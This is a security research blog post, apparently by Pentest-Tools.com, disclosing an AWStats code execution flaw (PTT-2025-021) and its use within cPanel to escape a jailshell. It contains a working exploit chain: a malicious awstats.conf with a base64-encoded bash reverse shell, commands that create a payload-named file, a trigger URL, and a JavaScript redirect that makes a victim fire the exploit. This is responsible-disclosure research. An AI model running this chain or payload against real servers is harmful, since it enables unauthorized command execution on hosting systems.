Security research

cPanel - The valid, the suspect, and the 3rd party (Part 1)

Publisher
Pentest-Tools.com
Updated at
Article tags

Introduction to PTT-2025-021

Hi, hello, you seem to have caught me reminiscing about the good old year 2025.

The more security aware of the readers may know/remember that, at some point in time in December, cPanel and Plesk released a set of articles mentioning the vulnerability PTT-2025-021 (“Is Plesk affected by PTT-2025-021 vulnerability in AWStats?” and “AWStats vulnerability PTT-2025-021”).

But what is this mysterious PTT-2025-021 and how does it relate to us?

Well, long story short, CVE-2025-63261 or PTT-2025-021 – Code Execution via Unsafe Perl Open in AWStats is a Code Execution vulnerability in the AWStats software, a 3rd party solution integrated into the cPanel and Plesk software that our very own Pentest-Tools.com security research team discovered and responsibly disclosed.

Also for those of you at home wondering what the PTT ID PTT-2025-021 represents:

  • PTT == is the short form for Pentest-Tools.com 

  • 2025 == year in which we discovered the vulnerability 

  • 021 == in this case, it is the 21st vulnerability the Pentest-Tools.com research team found and reported

Introduction to cPanel

In the words of Wikipedia, cPanel is: “a web hosting control panel software developed by cPanel, L.L.C. It provides a graphical interface (GUI) and automation tools designed to simplify the process of hosting a web site for the website owner or "end user."

TL;DR: It’s a nifty software that helps you simplify setting up and hosting a website with security features on top which we would like to… bypass 😈.

Anyway, we thought:

Hey cPanel is a cool and well known software that Assetnote attacked before. Why not try exploiting it ourselves?

So, during the blisteringly hot month of July 2025, we got to work (as in finding 0-days - if one can call that work).

As a result we ended up sending 10 potential vulnerabilities to security[@]cpanel.net, which currently have the following status:

  • 2 vulnerabilities were confirmed as being valid and the cPanel team is fixing them (we’ll release further details once these vulnerabilities are resolved)

  • 2 vulnerabilities are undecided, with more information and investigation required to determine if they’re valid or not

  • 5 vulnerabilities were considered suspect (a.k.a. sus) as their behaviour doesn’t pose an actual security risk in the cPanel ecosystem (we submitted these based on a misunderstanding of the ecosystem on our part and, after further talking to the cPanel security team, we agree with their viewpoint. That being said, we’ll probably also write another article describing them since certain technical information may be relevant/of interest in other exploitation scenarios.)

  • 1 vulnerability in a 3rd party application that cPanel uses, known as AWStats.

To better separate the vulnerabilities, preserve the narrative flow (and to prevent this article from being 100 pages long) we’ll separate the cPanel blog post into 3 parts:

  • The 3rd party - Part 1 (current article)

  • The suspect - Part 2

  • The valid - Part 3

AWStats - the quarter century-old software & the communication moat

For those interested, AWStats describes itself as:

AWStats (Advanced Web Statistics) is a powerful, full-featured web server logfile analyzer which shows you all your Web statistics including: visitors, pages, hits, hours, search engines, keywords used to find your site, broken links, robots and many more...

TL;DR: It’s a 25 year old software (so, older than some of my colleagues) written in Perl. I have to give mad respect to Eldy for developing it and maintaining it for 25 years, but now that it’s deprecated, it has all the makings of a security liability in someone's network.


As we mentioned before, the only reason we were interested in AWStats is that the cPanel ecosystem used it.

The hell of contacting vendors

While the security team from cPanel were great and responsive, Laurent Destailleur (aka Eldy), the creator and main maintainer of AWStats was anything but.

If you have heart problems, look away now. We tried contacting him via:

  • Multiple email addresses - we emailed him both on eldy[@]destailleur.fr and eldy[@]users.sourceforge.net (for a total of 9 mails with no responses and we included him in the conversations with cPanel regarding AWStats for transparency)

  • We also tried to contact him on:

    • Mastodon

    • Github Issues

    • X and Bluesky (where you can’t send messages unless you’re connected to Eldy)

  • We were able to reach him on LinkedIn … but he just said that AWStats is being discontinued and gave no acknowledgement that he received or forwarded the mails about the vulnerability to anyone else impacted/willing to address it (which is concerning).

Exploiting AWStats

Anyway, now that everybody has met everyone else, it’s time to explain the resulting… collateral damage.

Vulnerable code

Functionality wise, AWStats is a relatively simple yet elegant tool for logging web traffic to a site and then displaying back those statistics via its own web page, but because of the unsafe use of the Perl “open” function(s) this results in a Code Execution vulnerability. As the open function only uses 2 parameters instead of the safe 3 argument variant, if an attacker can inject special pipe characters such as |, then the parameters of the function will be interpreted as system commands.

Here is an example of a vulnerable code path targeting the DNSLookup functionality:

# Checks if DNSLookup is enabled in awstats.conf
if ($DNSLookup) {
***TRUNCATED***
	&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
                                "$FileSuffix", 0 )

***TRUNCATED***

# Checks if dnscache file exists on the system
if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
	$filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
}

***TRUNCATED***

# Checks if filetoload variable has been initialized, if not return from the function
if ( !$filetoload ) {
	if ($Debug) { debug(" No DNS Cache file found"); }
	return 1;
}

***TRUNCATED***

# Call dangerous open function
if ( !scalar keys %$hashtoload ) {
	open( DNSFILE, "$filetoload" )
		or error("Couldn't open DNS Cache file \"$filetoload\": $!");

***TRUNCATED***

To their credit, AWStats does validate certain parameters such as searchdir/DirLang, but, in our opinion, it’s just a matter of time until other exploitable “open” functions are identified.

if ( $searchdir =~ /\|/ )		# We refuse path that contains "|" 
{
	error("DirLang parameter can't contains character |");
	next;	
}

Building the exploit

So, we found the above code path which is theoretically vulnerable. Now, how do we make it practically exploitable?

To achieve this, we need to satisfy the following conditions if we want to execute system commands:

  • The DNSLookup value needs to be set to true (in this case “1”)

  • The $filetoload file needs to exist on the system

  • In order to exploit “open”:

    • $dnscachefile needs to include the pipe character (“|”)

    • $filesuffix needs to be an empty string (we can achieve this by creating and putting our malicious config in the file named awstats.conf as the file suffix is taken from the config name, so if the conf we read is awstats.mal.test.com.conf our $filesuffix will become mal.test.com, then if we read awstats.conf the $filesuffix will be an empty string)

    • $dnscacheext needs to be an empty string (just don’t use the . character in $dnscachefile to do this)

To meet all the conditions above, we added the following four custom values to the awstats.conf file:

DNSLastUpdateCacheFile="| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"
DNSLookup=1
DirData="/home/mal/tmp/awstats"
AllowToUpdateStatsFromBrowser=1

Note: In this case, for testing purposes, we’ll want to execute the Linux reverse shell command bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 which has been base64 encoded in order to prevent other special characters from interacting with our payload.

Note 2: You can find the full content of the awstats.conf file in the Appendix section below.

The above mentioned four conf values have the following effect:

  • DNSLastUpdateCacheFile is set to a value of | <LINUX_COMMAND> | (in this case a reverse bash shell pointing back to 127.0.0.1 port 4444)

  • DNSLookup is set to True

  • DirData is the directory from where AWStats will try to read the DNSCache Files (this can point to any location where the attacker has write access to create the DNSLastUpdateCacheFile file)

  • AllowToUpdateStatsFromBrowser is set to True. This is required to call the DNSLookup functionality as we are (or the victim is) accessing the awstats.pl script from the web interface.

As you can probably tell, because the exploit requires modifying/creating the awstats.conf file as well as creating a malicious DNS cache file with an arbitrary name, access to the system is required most of the time, reducing the impact of the vulnerability to a Local Privilege Escalation or Jail Escape. With that being said, there may be cases when the attacker can modify/upload arbitrary files remotely, so the risk of the vulnerability becoming a RCE is low, but does exist.

Given the above steps are performed correctly, all that’s left to do is start a listener for our reverse shell command and access the awstats.pl page to trigger the vulnerability.

With the stage set, let’s turn our attention to cPanel

In the case of cPanel, we found an attacker can leverage this vulnerability if they've obtained jailshell access on the target to execute system commands outside the restricted environment.

We can use the following shell commands to use this knowledge into a cPanel-AWStats attack:

cat <<EOF > ~/tmp/awstats/awstats.conf
<CONTENTS_OF_AWSTATS_CONF_FROM_APPENDIX_SECTION>
EOF
touch ~/tmp/awstats/"| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"

Note: The <CONTENTS_OF_AWSTATS_CONF_FROM_APPENDIX_SECTION> from above needs to be replaced with an actual malicious AWStats configuration for the exploit to work.

As an alternative, if an attacker already has cPanel web access but the terminal feature is disabled (noshell) or restricted (jailshell) and usual PHP/PERL upload & run vectors are not an option, we can leverage cPanel’s File Manager component to remotely modify and create files via the web interface.

For the readers at home wondering what a jailshell or noshell in cPanel is, here's a brief explanation of the three shell modes that cPanel can operate in:

  • The normal shell mode is an unrestricted, /bin/bash shell that allows users to login via SSH into a fully functioning shell or use the web Terminal feature

  • Jailshell or Jailed Shell (VirtFS) is a restricted shell, run via the executable /bin/jailshell, that limits users to their own /home/ directory and limits potentially harmful commands for enhanced security. SSH access and the Terminal feature are available but will now drop you in a jailshell

  • Noshell or Disabled Shell, completely blocks SSH access, and is used when shell access isn't needed and acts as an alternative for /bin/false

Here's an example of the steps of how writing and creating files should look like when using the File Manager:

  • Writing the /home/<USER>/tmp/awstats/awstats.conf file (in this case /home/mal/tmp/awstats/awstats.conf):

  • Creating the malicious dnscache file /home/<USER>/tmp/awstats/| <COMMAND> | (in this case /home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |):

Please note that cPanel doesn’t consider getting RCE via the web interface a valid attack vector since noshell and jailshell aren’t meant to prevent a web user from executing arbitrary code on the system.

Anyway, after performing all the steps above, if we assume that the attacker has web access to cPanel, we can trigger the RCE by accessing the following URL:

https://<TARGET>:2083/<CPSESS>/awstats.pl?config=a&framename=mainright&update=1

Note: We use config=a as the file awstats.a.conf doesn’t exist, so the application defaults to loading awstats.conf.

Note 2: We use update=1 to enter the awstats.pl code branch responsible for calling the vulnerable DNSLookup functions.

If the attacker doesn’t have access to the cPanel web component (e.g. has gained access only to the jailshell), they’ll be at the mercy of the victim and will need to wait for them to trigger the vulnerability.

Thankfully, making the user navigate to random, malicious nonstandard URLs is a lot easier than it seems at first and no social engineering or other type of coercion is required.

Because we have access to modify the AWStats conf files we have a very strong “feature” that allows us to inject arbitrary, unsanitized HTML elements in the page displayed by awstats.pl. These elements of course are HTMLHeadSection and HTMLEndSection (though other elements may have similar effect).

Long story short, by using these elements an attacker may insert arbitrary Javascript that (besides compromising the victim's browser - if you really want to do that) will force the user to navigate to the malicious link triggering the RCE.

Here is an example of HTML code that can result in this behaviour:

<script>window.location="?config=a&framename=mainright&update=1"</script>

Once the victim next navigates to the legitimate AWStats component, the malicious link is accessed via forced redirect and the application tries to load several DNSCache files that don’t exist (/home/mal/tmp/awstats/dnscache.txt, ./dnscache.txt, dnscache.txt) then it tries to load our malicious file that exists on the file system:

/home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |

Since this file exists, we reach the open function and achieve RCE!

By adding our own debug code and inspecting the resulting messages, we can observe the code tries to open the following files:

MAL DEBUG Searchdir: /home/mal/tmp/awstats/dnscache.txt
MAL DEBUG Searchdir: ./dnscache.txt
MAL DEBUG Searchdir: dnscache.txt
MAL DEBUG Searchdir: /home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |
MAL DNSLOOKUP open(): /home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |

The following picture presents the attacker receiving back a reverse shell from the exploit above:

This is just a pitstop

Ladies and gentlemen, we have safely reached the end of the article, but the journey with cPanel continues! 

We hope you enjoyed (the rather bumpy) detour through the lands of AWStats and are ready for Part 2, where we actually get to exploit cPanel itself (not its 3rd parties) and explore the suspect (non)vulnerabilities we found during the research sprint.

As always, thanks go to my colleagues who helped with this research Matei Buzdea and Catalin Iovita!

Thank you for flying Air-Mal, please do not forget your hands, legs, and cookies when departing from the site. 🫡

Appendix

Full content of awstats.conf:

DNSLastUpdateCacheFile="| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"
DNSLookup=1
DirData="/home/mal/tmp/awstats"
AllowToUpdateStatsFromBrowser=1


LogFile="/etc/apache2/logs/domlogs/mal.test.com"
LogFormat=1
DirCgi="/home/mal/"
DirIcons="/images/awstats"
SiteDomain="mal.test.com"
HostAliases="mal.test.com www.mal.test.com localhost 127.0.0.1"
AllowFullYearView=3
AllowAccessFromWebToAuthenticatedUsersOnly=0
AllowAccessFromWebToFollowingAuthenticatedUsers=""
CreateDirDataIfNotExists=0
SaveDatabaseFilesWithPermissionsForEveryone=0
PurgeLogFile=0
ArchiveLogRecords=0
KeepBackupOfHistoricFiles=0
DefaultFile="index.html"
SkipHosts=""
SkipDNSLookupFor=""
SkipFiles="robots.txt$ favicon.ico$"
OnlyFiles=""
NotPageList="css js class gif jpg jpeg png bmp"
ValidHTTPCodes="200 304"
URLWithQuery=0
WarningMessages=1
NbOfLinesForCorruptedLog=10000
SplitSearchString=0
Expires=0
WrapperScript=""
UseFramesWhenCGI=1
MaxRowsInHTMLOutput=1000
Lang="en"
DirLang="/usr/local/cpanel/3rdparty/share/awstats/lang"
ShowMonthDayStats=1
ShowDaysOfWeekStats=1
ShowHoursStats=1
ShowDomainsStats=1
ShowHostsStats=1
ShowAuthenticatedUsers=1
ShowRobotsStats=1
ShowPagesStats=1
ShowFileTypesStats=1
ShowBrowsersStats=1
ShowOSStats=1
ShowOriginStats=1
ShowKeyphrasesStats=1
ShowHTTPErrorsStats=1
MaxNbOfDomain = 25
MaxNbOfHostsShown = 25
MinHitHost    = 1
MaxNbOfLoginShown = 10
MinHitLogin   = 1
MaxNbOfRobotShown = 25
MinHitRobot   = 1
MaxNbOfPageShown = 25
MinHitFile    = 1
MaxNbOfRefererShown = 25
MinHitRefer   = 1
MaxNbOfKeywordsShown = 25
MinHitKeyword  = 1
FirstDayOfWeek=1
DetailedReportsOnNewWindows=1
ShowFlagLinks="en fr de it nl es"
ShowLinksOnUrl=1
MaxLengthOfURL=72
ShowLinksToWhoIs=0
LinksToWhoIs="http://www.whois.net/search.cgi2?str="
HTMLHeadSection=""
HTMLEndSection="" 
Logo="awstats_logo1.png"
LogoLink="http://awstats.sourceforge.net"
BarWidth   = 260
BarHeight  = 180
StyleSheet=""

Get fresh security research

In your inbox. (No fluff. Actionable stuff only.)

I can see your vulns image

Related articles

Suggested articles

Discover our ethical hacking toolkit and all the free tools you can use!

Create free account

Footer

© 2013-2026 Pentest-Tools.com

Deloitte Fast 500 EMEA 2023

One of EMEA's fastest-growing tech companies.

Recognized by Deloitte in their Fast 500 EMEA 2023 for sustained financial growth and impact.

50,000+ security folks are here. Are you?

Join us on LinkedIn for practical offensive security tips, guides, and real talk.

More than demos - real faces, real insight.

Subscribe on Youtube to see our team demo the product, build PoCs, and share what drives us.

G2 x Gartner

Security leaders trust what they can prove

See why they choose accurate results, time-saving automation, and clear reporting on Gartner Peer Reviews and G2.